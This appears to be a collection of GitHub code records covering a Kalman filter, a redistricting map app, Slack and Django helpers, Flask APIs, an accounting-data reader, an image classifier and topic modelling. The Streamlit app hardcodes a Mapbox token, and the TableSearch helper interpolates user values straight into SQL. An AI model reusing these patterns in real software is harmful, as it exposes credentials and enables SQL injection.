0.],\n [0., 0., 0., 0.],\n [0., 0., 1000., 0.],\n [0., 0., 0., 1000.] ])\n # next state function: generalize the 2d version to 4d\n F = np.array(\n [ [1., 0., dt, 0.],\n [0., 1., 0., dt],\n [0., 0., 1., 0.],\n [0., 0., 0., 1.] ])\n # measurement function: reflect the fact that we observe x and y but not the two velocities\n H = np.array(\n [ [1., 0., 0., 0.],\n [0., 1., 0., 0.] ])\n # measurement uncertainty: use 2x2 matrix with 0.1 as main diagonal\n R = np.array(\n [ [0.1, 0.],\n [0., 0.1] ])\n # 4d identity matrix\n I = np.array(\n [ [1., 0., 0., 0.],\n [0., 1., 0., 0.],\n [0., 0., 1., 0.],\n [0., 0., 0., 1.] ])\n\n filter(x, P, u, F, H, R, I, measurements)\n\n\nif __name__ == \"__main__\":\n # print(\"test2d\")\n # test2d()\n\n # print(\"test4d\")\n test4d()\n","repo_name":"adarshmelethil/SLAM","sub_path":"kalman.py","file_name":"kalman.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39825518407","text":"# this problem\n#https://leetcode.com/problems/merge-intervals/\n\n\n# similar problem insert_interval.py\n# https://leetcode.com/problems/insert-interval/\n\n# Algo\n# 1. Sort by first start time of intervals\n# 2. if end of current intervals is greater or equal the start of the next interval\n# take the maximum time of these intervals\n# otherwise this is new interval\nclass Solution:\n def merge(self, intervals: list) -> list:\n if intervals is None or len(intervals) == 0:\n return []\n intervals = sorted(intervals, key=lambda k: k[0])\n res = []\n for i in range(len(intervals)):\n s, e = intervals[i]\n if not res or res[-1][1] < e:\n # this is a new interval\n res.append([s,e])\n else:\n # update end of interval\n res[-1][1] = max(res[-1][1], e)\n return res","repo_name":"arsamigullin/problem_solving_python","sub_path":"leet/facebook/search/merge_intervals.py","file_name":"merge_intervals.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26198656219","text":"import pandas as pd\nimport geopandas\nimport streamlit as st\nimport pydeck as pdk\nimport metrics\n\nst.title('Possible Wisconsin Districting Plans')\n\ndistrict_slider = st.slider('Select a district plan', 1, 83, 1)\ncurrent_gdf = geopandas.read_file('geojson/wi_map_plan_' + str(district_slider) + '.geojson')\n\nINITIAL_VIEW_STATE = pdk.ViewState(latitude=44.155, longitude=-89.483492, zoom=6.3, max_zoom=16, pitch=45, bearing=0)\n\ngeojson = pdk.Layer(\n \"GeoJsonLayer\",\n data=current_gdf,\n pickable=True,\n auto_highlight=True,\n get_fill_color='[15 + district*30, 150, 120]',\n get_line_color='[255, 255, 255]',\n)\n\nr = pdk.Deck(layers=[geojson],\n initial_view_state=INITIAL_VIEW_STATE,\n mapbox_key='pk.eyJ1Ijoic2t5aWVuLXoiLCJhIjoiY2tnODJiaXRyMDl1OTJzbWtveTRsaGMwOSJ9.zFW9CBqmz3PAJ74FLRZRBA',\n tooltip={'text': 'District: {district}\\nPopulation: {population}\\nDem Votes: {dem_votes}\\nGOP Votes: {gop_votes}'}\n )\n\nst.pydeck_chart(r)\n\n# Displays metrics on app sidebar\nmetric_type = st.sidebar.selectbox(\"What metrics would you like to see?\",(\"Metrics for Plan \" + str(district_slider),\n\"Overall Metrics\"))\nif metric_type == (\"Metrics for Plan \" + str(district_slider)):\n\n st.sidebar.subheader('Metrics for Plan ' + str(district_slider) + \":\")\n st.sidebar.text('SL Index: ' + str(current_gdf.loc[1]['SL_index']))\n st.sidebar.text('Efficiency Gap: ' + str(current_gdf.loc[1]['efficiency_gap']))\n st.sidebar.text('Mean-Median Gap: ' + str(current_gdf.loc[1]['mm_gap']))\n st.sidebar.text('')\n\n st.sidebar.text('Party Votes per District:')\n votes_data_df = current_gdf.drop(columns=['district', 'population', 'dem_voteshare', 'gop_voteshare', 'geometry', 'SL_index', 'efficiency_gap', 'mm_gap'])\n st.sidebar.line_chart(votes_data_df, 200, 200)\n\n st.sidebar.text('\\n Party Voteshare per District:')\n voteshare_data_df = current_gdf.drop(columns=['district', 'population', 'dem_votes', 'gop_votes', 'geometry', 'SL_index', 'efficiency_gap', 'mm_gap'])\n st.sidebar.line_chart(voteshare_data_df, 200, 200)\nelif metric_type == \"Overall Metrics\":\n # Cached since it takes quite a while to run the first time\n @st.cache\n def get_metric_df():\n return metrics.make_metrics_df()\n\n # Ranges are somewhat arbitrary \n def make_sl_plot(metric_df):\n return metrics.make_metrics_plot(metric_df[['plan_number', 'sl_index']], \"sl_index\", \n 'Sainte-Lague Index', 'Sainte-Lague Indices by District Plan',(.2839,.28394))\n\n \n def make_mm_gap_plot(metric_df):\n return metrics.make_metrics_plot(metric_df[['plan_number', 'mm_gap']], 'mm_gap',\n 'Mean-Median Gap', 'Mean-Median Gaps by District Plan',(-.0446,-.0456))\n\n \n def make_efficiency_gap_plot(metric_df):\n return metrics.make_metrics_plot(metric_df[['plan_number', 'efficiency_gap']],\n 'efficiency_gap', 'Efficiency Gap', 'Eficiency Gaps by District Plan',(-.2778,-.28))\n\n metric_df = get_metric_df()\n st.sidebar.altair_chart(make_efficiency_gap_plot(metric_df))\n st.sidebar.altair_chart(make_mm_gap_plot(metric_df))\n st.sidebar.altair_chart(make_sl_plot(metric_df))\n\n\n","repo_name":"skyien-z/redist-vis","sub_path":"st_redist_app.py","file_name":"st_redist_app.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"43547485877","text":"import time\nfrom datetime import datetime\nfrom slack_sdk import WebClient\nfrom slack_sdk.errors import SlackApiError\nfrom config import SLACK_API_TOKEN\n\nclient = WebClient(token=SLACK_API_TOKEN)\n\ndef postMessage(channel, message):\n try:\n response = client.chat_postMessage(channel=channel,text=message)\n return response[\"ts\"]\n except SlackApiError as e:\n print(\"SlackApiError: {}\".format(e))\n except Exception as e:\n print(\"UnknownError: {}\".format(e))\n return None\n\ndef chatUpdate(channel, message, ts):\n try:\n return client.chat_update(channel=channel,text=message,ts=ts)\n except SlackApiError as e:\n print(\"SlackApiError: {}\".format(e))\n except Exception as e:\n print(\"UnknownError: {}\".format(e))\n return None","repo_name":"turbolay/WasabiWatcher","sub_path":"helpers/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36247194408","text":"from django import forms\nfrom django.forms import ModelForm\n\nfrom base.forms.custom import O2BaseForm\n\nfrom servico.models import Interacao\n\n\nclass O2FieldDocumentoForm(forms.Form):\n documento = forms.IntegerField(\n min_value=1, max_value=999999,\n widget=forms.TextInput(attrs={'type': 'number', 'size': 6}))\n\n\nclass O2FiltraOrdemForm(forms.Form):\n ordem = forms.IntegerField(\n min_value=0, max_value=999999,\n required=False, initial='0',\n widget=forms.TextInput(attrs={'type': 'number', 'size': 6}))\n\n\nclass OrdemForm(\n O2BaseForm,\n O2FieldDocumentoForm):\n\n class Meta:\n autofocus_field = 'documento'\n\n\nclass ListaForm(\n O2BaseForm,\n O2FiltraOrdemForm):\n\n class Meta:\n autofocus_field = 'ordem'\n\n\nclass CriaInteracaoForm(ModelForm):\n class Meta:\n model = Interacao\n fields = ['equipe', 'classificacao', 'descricao']\n","repo_name":"anselmobd/fo2","sub_path":"src/servico/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13356410605","text":"import sys\n\nsys.path.append(\"../\")\n\nimport numpy as np\nfrom loggers import Logger\nfrom methods import ConstraintsL2, Extragradient\nfrom oracles import (\n ArrayPair,\n RobustLinearOracle,\n ScalarProdOracle,\n create_robust_linear_oracle,\n)\n\n\ndef create_random_robust_linear_oracle(n: int, d: int) -> RobustLinearOracle:\n A = np.random.randn(n, d)\n b = np.random.randn(n)\n oracle = create_robust_linear_oracle(A, b, regcoef_x=0.1, regcoef_delta=0.5, normed=True)\n return oracle\n\n\ndef test_extragradient_step():\n np.random.seed(0)\n n, d = 50, 8\n oracle = create_random_robust_linear_oracle(n, d)\n z_0 = ArrayPair(np.random.rand(d), np.random.rand(d))\n method = Extragradient(oracle, 0.1, z_0, tolerance=None, stopping_criteria=None, logger=None)\n method.step()\n\n\ndef test_extragradient_run_robust_linear():\n np.random.seed(0)\n n, d = 50, 8\n oracle = create_random_robust_linear_oracle(n, d)\n z_0 = ArrayPair(np.random.rand(d), np.random.rand(d))\n method = Extragradient(oracle, 0.1, z_0, tolerance=None, stopping_criteria=None, logger=None)\n method.run(max_iter=20)\n\n\ndef test_extragradient_run_scalar_prod():\n np.random.seed(0)\n d = 20\n oracle = ScalarProdOracle()\n z_0 = ArrayPair(np.random.rand(d), np.random.rand(d))\n logger = Logger()\n method = Extragradient(oracle, 0.5, z_0, tolerance=None, stopping_criteria=None, logger=logger)\n method.run(max_iter=1000)\n z_star = logger.argument_primal_value[-1]\n assert z_star.dot(z_star) <= 0.05\n\n\ndef test_extragradient_run_scalar_prod_constrained():\n np.random.seed(0)\n d = 20\n oracle = ScalarProdOracle()\n z_0 = ArrayPair(np.random.rand(d), np.random.rand(d))\n logger = Logger()\n constraints = ConstraintsL2(1.0, 2.0)\n method = Extragradient(\n oracle, 0.5, z_0, tolerance=None, stopping_criteria=None, logger=logger, constraints=constraints\n )\n method.run(max_iter=1000)\n z_star = logger.argument_primal_value[-1]\n assert z_star.dot(z_star) <= 0.05\n\n\nif __name__ == \"__main__\":\n test_extragradient_step()\n test_extragradient_run_robust_linear()\n test_extragradient_run_scalar_prod()\n test_extragradient_run_scalar_prod_constrained()\n","repo_name":"MuXauJl11110/opt_distr_stoch_vi","sub_path":"decentralized/tests/test_extragradient.py","file_name":"test_extragradient.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31094763023","text":"import datetime\nfrom flask import Flask, jsonify, request\nfrom flask.json import jsonify\nfrom flask_cors import CORS\nfrom datetime import datetime\n\n#configuration\nDEBUG=True\n\nBOOKS = [\n {\n 'title': 'On the Road',\n 'author': 'Jack Kerouac',\n 'read': True\n },\n {\n 'title': 'Harry Potter and the Philosopher\\'s Stone',\n 'author': 'J. K. Rowling',\n 'read': False\n },\n {\n 'title': 'Green Eggs and Ham',\n 'author': 'Dr. Seuss',\n 'read': True\n }\n]\n\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\nCORS(app, resources={r'/*': {'origins':\"*\"}})\n\n\n# sanity check route\n@app.route('/ping', methods=[\"GET\"])\ndef ping_pong():\n return jsonify(f\"{datetime.now().isoformat(timespec='seconds')}: pong!\")\n\n\n# bad practice, bad - to mess logic within single method\n@app.route('/books', methods=[\"GET\", \"POST\"])\ndef get_all_books():\n response = {'status':'success'}\n if request.method == 'POST':\n post_data = request.get_json()\n BOOKS.append({\n 'title': post_data.get('title'),\n 'author': post_data.get('author'),\n 'read': post_data.get('read')\n })\n response['message'] = 'Book added!'\n else:\n response['books'] = BOOKS\n return jsonify(response)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"VinnieThePooh/vueflask-basics","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28506108698","text":"import requests\nfrom config import SIZE, LOCATION\n\n\nclass Collector:\n def __init__(self):\n self.location = LOCATION\n self.size = str(SIZE)\n self.params = {\"action\": \"process\", \"page_size\": self.size, \"json\": \"true\"}\n self.request = f\"https://{self.location}.openfoodfacts.org/cgi/search.pl?\"\n\n def collect(self) -> list:\n \"\"\"Collect result from api request.\"\"\"\n products = []\n r = requests.get(self.request, self.params)\n # Checking request status\n if r.status_code == requests.codes.ok:\n print(\"request ok\")\n else:\n r.raise_for_status()\n # Adding result to list\n data = r.json()\n products = data.get(\"products\")\n return products\n","repo_name":"Nicolasdvl/P5","sub_path":"collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25693151487","text":"# coding=utf-8\nfrom django.db import models\nimport copy\n# 定义一个模型管理器类的抽象基类\n\nclass BaseModelManager(models.Manager):\n '''\n 模型管理器类抽象基类\n '''\n def get_all_valid_fields(self):\n '''\n 获取模型管理器对象所在模型类的属性列表\n '''\n # 获取模型管理器对象所在的模型类\n cls = self.model\n # 获取cls模型类的属性列表\n attr_list = cls._meta.get_all_field_names()\n return attr_list\n\n def create_one_object(self, **kwargs):\n '''\n 往数据库中插入一条模型管理器对象所在的模型类数据\n '''\n # 获取模型管理器对象所在模型类的属性列表\n vaild_fields = self.get_all_valid_fields()\n # 拷贝kwargs\n kws = copy.copy(kwargs)\n\n # 去除模型类无效的属性\n #for k in kws.keys():\n for k in kws:\n if k not in vaild_fields:\n kwargs.pop(k)\n\n # 获取模型管理器对象所在的模型类\n cls = self.model # Passport\n obj = cls(**kwargs) # Passport(username='smart', password='123',email='smart@itcast.cn')\n # 保存进数据库\n obj.save()\n\n return obj\n\n def get_one_object(self, **filters):\n '''\n 从数据库表中查出一条模型管理器对象所在模型类的数据\n '''\n try:\n obj = self.get(**filters)\n except self.model.DoesNotExist:\n obj = None\n return obj\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ddwomenhao/project_electricity","sub_path":"dailyfresh(1)/db/base_manager.py","file_name":"base_manager.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1148819455","text":"class TableSearch:\n @staticmethod\n def create_table_search(table_name: str, **kwargs):\n sql_expression = \"\\n\\t(\" + \") AND \\n\\t(\".join(\n map(lambda x: f'\"{x[0]}\" LIKE \"%{x[1]}%\"', kwargs.items())\n ) + \")\\n\"\n\n sql_request = f'SELECT * FROM {table_name} WHERE ({sql_expression});' if kwargs else \";\"\n\n return sql_request\n","repo_name":"escaleksey/CyberSchool2","sub_path":"utils/db_functions/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9955018732","text":"#!/usr/bin/env python3\n\nimport random\nimport sys\nimport time\nimport json\nfrom flask import Flask, redirect, url_for, render_template, request, session, \\\n Blueprint, Response\nfrom game import Game\nimport gamedb\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\napi = Blueprint('api', __name__)\n\n\n@api.errorhandler(405)\ndef handle_405(**kwargs):\n return {'message': 'Method not allowed'}, 405\n\n\n@api.route('/')\ndef index():\n return {}\n\n\n@api.route('/create/', methods=['POST'])\ndef create_game():\n name = request.form.get('name')\n if name is None:\n return {'message': f'Name field is not found or empty'}, 400\n code = None\n while code is None or gamedb.load_game(code) is not None:\n code = ''.join((random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(6)))\n with gamedb.lock:\n gamedb.create_game(code)\n game = gamedb.load_game(code)\n game.add_player(name)\n gamedb.save_game(code, game)\n session[code] = name\n return {'code': code}, 201\n\n\n@api.route('/info//')\ndef get_game_info(code: str):\n game = gamedb.load_game(code)\n if game is None:\n return {'message': f'Game {code} not found'}, 404\n player = session.get(code)\n return _parse_game_info(game, player)\n\n\n@api.route('/action//', methods=['POST'])\ndef perform_action(code: str):\n with gamedb.lock:\n game = gamedb.load_game(code)\n if game is None:\n return {'message': f'Game {code} not found'}, 404\n name = session.get(code)\n if name is None:\n return {'message': f'Name is not set'}, 404\n game.perform_action(name, request.form)\n gamedb.save_game(code, game)\n return {}, 200\n\n\n@api.route('/join//', methods=['POST'])\ndef join_game(code: str):\n name = request.form.get('name')\n if name is None:\n return {'message': f'Name field is not found or empty'}, 400\n with gamedb.lock:\n game = gamedb.load_game(code)\n if game is None:\n return {'message': f'Game {code} not found'}, 404\n if name in game.player_roles:\n if code in session:\n return {'message': f'Already joined game {code}'}, 400\n else:\n return {'message': f'Name {name} already taken'}, 403\n if game.activity != 'waiting':\n return {'message': f'Game {code} has already started'}, 404\n if code in session:\n eprint(f'Player {name} has code {code} set but has not joined the game')\n game.add_player(name)\n game = gamedb.save_game(code, game)\n session[code] = name\n return {}, 200\n\n\n@api.route('/start//', methods=['POST'])\ndef start_game(code: str):\n with gamedb.lock:\n game = gamedb.load_game(code)\n if game is None:\n return {'message': f'Game {code} not found'}, 404\n if game.activity != 'waiting':\n return {'message': f'Game {code} has already started'}, 404\n game.start()\n gamedb.save_game(code, game)\n return {}, 200\n\n\n@api.route('/stream//')\ndef stream_game_info(code: str):\n player = session.get(code)\n def stream():\n try:\n serialized = None\n counter = 0\n while True:\n serialized_now = gamedb.load_game_raw(code)\n if serialized_now is None:\n return {'message': f'Game {code} not found'}, 404\n if serialized_now != serialized:\n if __debug__:\n eprint(f'Sending info for game {code}')\n print(_parse_game_info(Game(serialized_now), player))\n yield 'data: ' + json.dumps(\n _parse_game_info(Game(serialized_now), player),\n separators=(',',':')) + \\\n '\\n\\n'\n serialized = serialized_now\n counter += 1\n if counter % 10 == 0:\n yield ':\\n\\n'\n time.sleep(1)\n finally:\n if __debug__:\n msg = f'Stopped stream for game {code} - '\n if player is not None:\n msg += f'player {player}'\n else:\n msg += 'no player'\n eprint(msg)\n return Response(stream(), mimetype='text/event-stream')\n\n\ndef _parse_game_info(game: Game, player: str = None):\n d = {\n 'activity': game.activity,\n 'players': list(game.player_roles),\n }\n if player is not None:\n d['name'] = player\n if player is not None or game.activity == 'finished':\n d['state'] = game.get_info(player)\n return d\n","repo_name":"Demindiro/werewolves","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4852056370","text":"import traceback\nfrom ast import Break\n\nimport requests\n\nfrom apps.home.data_util import add_job_status\nfrom apps.home.data_util import get_job_details\nfrom apps.mmc_settings.all_settings import *\nfrom apps.util.db_mongo import get_mongodb_database\n\n\ndef get_journal(job_id,task_id):\n \n try:\n start_date, end_date = get_job_details(job_id)\n db = get_mongodb_database()\n Collection = db[\"journal\"]\n payload, base_url, headers = get_settings_myob(job_id)\n no_of_records = db[\"journal\"].count_documents({})\n\n if start_date == \"\" and end_date == \"\":\n url = f\"{base_url}/GeneralLedger/GeneralJournal?$top=1000&$skip={no_of_records}\"\n else:\n url = f\"{base_url}/GeneralLedger/GeneralJournal?$top=1000&$skip={no_of_records}&$filter=DateOccurred ge datetime'{start_date[0:10]}' and DateOccurred le datetime'{end_date[0:10]}'\"\n response = requests.request(\"GET\", url, headers=headers, data=payload)\n JsonResponse = response.json()\n JsonResponse1 = JsonResponse[\"Items\"]\n\n arr = []\n for i in range(0, len(JsonResponse1)):\n QuerySet = {\"is_credit_debit\": []}\n QuerySet[\"job_id\"] = job_id\n QuerySet[\"task_id\"] = task_id\n QuerySet['table_name'] = \"journal\"\n QuerySet['error'] = None\n QuerySet[\"is_pushed\"] = 0\n QuerySet[\"Referrence_No\"] = JsonResponse1[i][\"DisplayID\"]\n QuerySet[\"Date\"] = JsonResponse1[i][\"DateOccurred\"]\n QuerySet[\"Memo\"] = JsonResponse1[i][\"Memo\"]\n QuerySet[\"GSTReportingMethod\"] = JsonResponse1[i][\"GSTReportingMethod\"]\n QuerySet[\"IsTaxInclusive\"] = JsonResponse1[i][\"IsTaxInclusive\"]\n QuerySet[\"UID\"] = JsonResponse1[i][\"UID\"]\n\n for j in range(0, len(JsonResponse1[i][\"Lines\"])):\n QuerySet1 = {}\n QuerySet1[\"line_amount\"] = JsonResponse1[i][\"Lines\"][j][\"Amount\"]\n QuerySet1[\"IsCredit\"] = JsonResponse1[i][\"Lines\"][j][\"IsCredit\"]\n QuerySet1[\"Description\"] = JsonResponse1[i][\"Lines\"][j][\"Memo\"]\n QuerySet1[\"Account_Name\"] = JsonResponse1[i][\"Lines\"][j][\"Account\"][\"Name\"]\n QuerySet1[\"DisplayID\"] = JsonResponse1[i][\"Lines\"][j][\"Account\"][\n \"DisplayID\"\n ]\n QuerySet1[\"Tax_Amount\"] = JsonResponse1[i][\"Lines\"][j][\"TaxAmount\"]\n QuerySet1[\"Unit_Count\"] = JsonResponse1[i][\"Lines\"][j][\"UnitCount\"]\n\n if JsonResponse1[i][\"Lines\"][j][\"Job\"] is not None:\n QuerySet1[\"Job\"] = JsonResponse1[i][\"Lines\"][j][\"Job\"][\"Name\"]\n\n if JsonResponse1[i][\"Lines\"][j][\"TaxCode\"] is not None:\n QuerySet1[\"taxcode\"] = JsonResponse1[i][\"Lines\"][j][\"TaxCode\"][\n \"Code\"\n ]\n else:\n QuerySet1[\"taxcode\"] = None\n\n QuerySet[\"is_credit_debit\"].append(QuerySet1)\n\n arr.append(QuerySet)\n \n \n Collection.insert_many(arr)\n\n if JsonResponse[\"NextPageLink\"] is not None:\n get_journal(job_id, task_id)\n\n else:\n Break\n\n except Exception as ex:\n traceback.print_exc()\n \n","repo_name":"Priya-Chandak/MyobAccRight-QBO","sub_path":"apps/myob/myob_reader/journal.py","file_name":"journal.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11816729930","text":"import io\nimport numpy as np\nfrom flask import Flask, jsonify, request \nfrom keras.layers import Dense,Flatten\nfrom keras.applications.vgg16 import VGG16\nfrom keras.models import Model\nfrom keras.utils import load_img, img_to_array\n\napp = Flask(__name__)\n\n\ndef vgg16_model_1():\n vgg_model = VGG16(include_top=False, weights='imagenet', input_shape=(224,224,3))\n for layer in vgg_model.layers:\n layer.trainable = False \n \n # Create a new 'top' of the model (i.e. fully-connected layers).\n top_model = vgg_model.output\n top_model = Flatten(name=\"flatten\")(top_model)\n output_layer = Dense(5, activation='softmax')(top_model)\n\n # Group the convolutional base and new fully-connected layers into a Model object.\n final_model = Model(inputs=vgg_model.input, outputs=output_layer)\n\n return final_model\n\ndef prepare_image(img):\n # Loading the img\n img = load_img(io.BytesIO(img),target_size=(224, 224))\n # Creating a batch of numpy array\n img = np.expand_dims(img_to_array(img), 0)\n \n return img\n\n\ndef predict_result(img):\n model = vgg16_model_1()\n model.load_weights('./vgg16_3.h5')\n pred_results = model.predict(img)\n\n return np.argmax(pred_results,axis=1)[0]\n\n\n@app.route('/predict', methods=['POST'])\ndef infer_image():\n # Catch the image file from a POST request\n if 'file' not in request.files:\n return \"Please try again. The Image doesn't exist\"\n \n file = request.files.get('file')\n\n if not file:\n return\n\n # Read the image\n img_bytes = file.read()\n\n # Prepare the image\n img = prepare_image(img_bytes)\n\n # Return on a JSON format\n return jsonify(prediction=str(predict_result(img)))\n \n\n@app.route('/', methods=['GET'])\ndef index():\n return 'Ship Classifier ready'\n\n\nif __name__ == '__main__':\n app.run(debug=False, host='0.0.0.0')","repo_name":"kitkhai/Ship-Classifier","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71270191824","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Implementing Network approach to topic modelling\n# ## Gerlach\n\n# In[1]:\n\n\nimport matplotlib\n\n\n# In[2]:\n\n\nfrom platform import python_version\n\nprint(python_version())\n\n\n# In[44]:\n\n\n# Gerlach\n#%load_ext autoreload\n#%autoreload 2\n\nimport os\nimport pylab as plt\n#%matplotlib inline \n\nfrom sbmtm import sbmtm\nimport graph_tool.all as gt\n\n\n# In[45]:\n\n\nimport pandas as pd\nimport numpy as np\nimport re\nfrom itertools import chain\n\n\n# In[46]:\n\n\ndata = pd.read_csv(\"../data/Prostate/clean_posts.csv\")\n\n\n# In[47]:\n\n\n#texts = data[\"Text\"].values.tolist()\n#titles = data[\"Day\"].values.tolist()\n\n#texts = data[\"word\"].values.tolist()\n#titles = data[\"ID\"].values.tolist()\n\ntexts = data[\"Content\"].values.tolist()\ntitles = data[\"Post_ID\"].values.tolist()\n\n\n# In[48]:\n\n\ntexts = [c.split() for c in texts]\n\n\n# In[49]:\n\n\ni_doc = 0\ntexts\n\n\n# In[50]:\n\n\nfor i in range(10):\n print(i)\n model = sbmtm()\n\n ## we have to create the word-document network from the corpus\n model.make_graph(texts,documents=titles)\n\n ## we can also skip the previous step by saving/loading a graph\n # model.save_graph(filename = 'graph.xml.gz')\n # model.load_graph(filename = 'graph.xml.gz')\n\n ## fit the model\n #gt.seed_rng(32) ## seed for graph-tool's random number generator --> same results\n model.fit()\n topics = model.topics(l=0,n=10)\n \n if len(topics) > 1:\n break\n\n\n# In[51]:\n\n\n#model.plot(nedges = 1000)\n\n\n# In[52]:\n\n\ntopics = model.topics(l=0,n=20)\n\n\n# In[53]:\n\n\n#topics\n\n\n# In[54]:\n\n\nclusters = model.clusters(l=0,n=99999)\n\n\n# In[55]:\n\n\n#clusters\n\n\n# In[56]:\n\n\ngroup_results0 = model.get_groups(l=0)\ngroup_results1 = model.get_groups(l=1)\ngroup_results2 = model.get_groups(l=2)\ngroup_results3 = model.get_groups(l=3)\n\n## group-membership distributions\n# group membership of each word-node P(t_w | w)\np_tw_w0 = group_results0['p_tw_w']\np_tw_w1 = group_results1['p_tw_w']\np_tw_w2 = group_results2['p_tw_w']\np_tw_w3 = group_results3['p_tw_w']\n\n# group membership of each doc-node P(t_d | d)\np_td_d0 = group_results0['p_td_d']\np_td_d1 = group_results1['p_td_d']\np_td_d2 = group_results2['p_td_d']\np_td_d3 = group_results3['p_td_d']\n\n## topic-distribution for words P(w | t_w)\np_w_tw0 = group_results0['p_w_tw']\np_w_tw1 = group_results1['p_w_tw']\np_w_tw2 = group_results2['p_w_tw']\np_w_tw3 = group_results3['p_w_tw']\n\n## Mixture of word-groups into documetns P(t_w | d)\np_tw_d0 = group_results0['p_tw_d']\np_tw_d1 = group_results1['p_tw_d']\np_tw_d2 = group_results2['p_tw_d']\np_tw_d3 = group_results3['p_tw_d']\n\n\n# In[57]:\n\n\npd.DataFrame.to_csv(pd.DataFrame(p_tw_w0), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_w0.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_w1), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_w1.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_w2), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_w2.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_w3), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_w3.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_td_d0), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_td_d0.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_td_d1), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_td_d1.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_td_d2), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_td_d2.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_td_d3), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_td_d3.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_w_tw0), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_w_tw0.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_w_tw1), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_w_tw1.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_w_tw2), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_w_tw2.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_w_tw3), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_w_tw3.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_d0), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_d0.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_d1), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_d1.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_d2), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_d2.csv\")\npd.DataFrame.to_csv(pd.DataFrame(p_tw_d3), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_p_tw_d3.csv\")\n\n\n# In[58]:\n\n\npd.DataFrame.to_csv(pd.DataFrame(model.words), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_words_all.csv\")\npd.DataFrame.to_csv(pd.DataFrame(model.documents), \"/Users/a1670295/Dropbox/PhD/Prostate/data/Prostate/Topic_Model/prostate_documents_all.csv\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"curtis-murray/Template_Framework","sub_path":"Python/.ipynb_checkpoints/prostate_hSBM-checkpoint.py","file_name":"prostate_hSBM-checkpoint.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} 